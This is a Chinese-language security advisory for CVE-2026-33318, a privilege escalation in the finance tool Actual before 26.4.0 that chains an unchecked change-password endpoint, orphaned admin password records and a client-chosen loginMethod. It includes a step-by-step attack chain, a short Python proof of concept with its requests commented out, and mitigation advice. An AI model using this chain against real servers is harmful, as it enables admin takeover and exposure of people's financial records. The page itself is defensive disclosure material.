IPBUF安全漏洞报告
English
CVE-2026-33318 CVSS 8.8 高危

CVE-2026-33318 Actual权限提升漏洞

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2026-33318
漏洞类型
权限提升
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Actual

相关标签

权限提升认证绕过逻辑漏洞ActualCVE-2026-33318

漏洞概述

Actual是一款本地优先的个人财务管理工具。在其26.4.0版本之前,系统存在一个高危权限提升漏洞,专门针对从密码认证迁移至OpenID Connect的服务器环境。该漏洞源于三个逻辑缺陷的组合利用:首先是修改密码端点缺乏必要的授权验证,允许任意会话覆盖密码哈希;其次是系统在迁移认证方式后,未清理遗留的未激活密码认证行;最后是登录接口接受客户端指定的登录方式。攻击者可以利用这些缺陷,通过修改遗留管理员账户的密码并强制使用密码认证,从而成功将低权限用户提升至管理员权限,完全控制服务器。

技术细节

该漏洞是一个典型的逻辑漏洞组合利用,主要发生在Actual财务工具从传统密码认证向OpenID Connect迁移的过程中。首先,系统在执行`POST /account/change-password`请求时,未对用户权限进行严格校验。这意味着任何已登录的会话(即使是最低权限的BASIC角色用户)都可以调用此接口修改其他用户的密码哈希值。其次,在服务器迁移到OpenID Connect认证后,原有的基于密码的`auth`数据库记录并未被删除,而是成为了“孤儿”记录,处于非激活状态但依然存在。最后,系统的登录端点存在设计缺陷,它接受客户端提交的`loginMethod`参数。攻击者可以通过发送包含`loginMethod: "password"`的请求,绕过服务器当前的OpenID Connect配置,强制系统使用遗留的密码认证机制进行验证。利用链非常清晰:攻击者首先利用缺乏授权检查的接口,将已知密码的哈希值更新到遗留的管理员账户记录上;接着,构造登录请求,指定使用密码认证方式并输入刚才设置的密码。由于系统验证通过了被修改的哈希值,攻击者便成功以管理员身份登录。这三个弱点缺一不可,单独任何一个都无法直接造成权限提升,但串联起来便构成了完整的攻击路径。

攻击链分析

STEP 1
步骤1:获取低权限会话
攻击者注册或获取一个普通用户(BASIC角色)的会话凭证。
STEP 2
步骤2:修改管理员密码哈希
利用`POST /account/change-password`接口缺少授权检查的漏洞,使用低权限会话向该接口发送请求,覆盖数据库中遗留的未激活管理员账户的密码哈希值。
STEP 3
步骤3:绕过认证配置
构造登录请求,在参数中设置`loginMethod`为`"password"`,并使用步骤2中设置的新密码和管理员用户名发起请求。
STEP 4
步骤4:完成提权
服务器接受客户端指定的认证方式,验证通过后,攻击者成功以管理员身份登录系统,获得完全控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # PoC for CVE-2026-33318 # This script demonstrates the privilege escalation chain. TARGET_URL = "http://target-server.com" ATTACKER_SESSION = "valid_low_privilege_cookie" # Obtained via normal login s = requests.Session() s.headers.update({"Cookie": f"session={ATTACKER_SESSION}"}) # Step 1: Exploit missing auth check on /account/change-password # Overwrite the orphaned admin password hash new_password = "attacker_controlled_pwd" change_pwd_endpoint = f"{TARGET_URL}/account/change-password" payload_pwd = { "password": new_password # Note: Depending on implementation, might need to specify the target user ID (admin) } print(f"[1] Attempting to overwrite admin password hash...") # resp = s.post(change_pwd_endpoint, json=payload_pwd) # print(resp.status_code) # Step 2: Force login using client-supplied loginMethod login_endpoint = f"{TARGET_URL}/login" payload_login = { "loginMethod": "password", # Bypass OpenID Connect config "username": "admin", "password": new_password } print(f"[2] Attempting to login as admin using password auth...") # resp = s.post(login_endpoint, json=payload_login) # if resp.status_code == 200: # print("[!] Privilege Escalation Successful!")

影响范围

Actual < 26.4.0

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用低权限用户对系统的访问权限,或者回退到纯密码认证模式并清理所有异常用户。管理员应审查数据库中的`auth`表,确保不存在迁移遗留的无效管理员记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表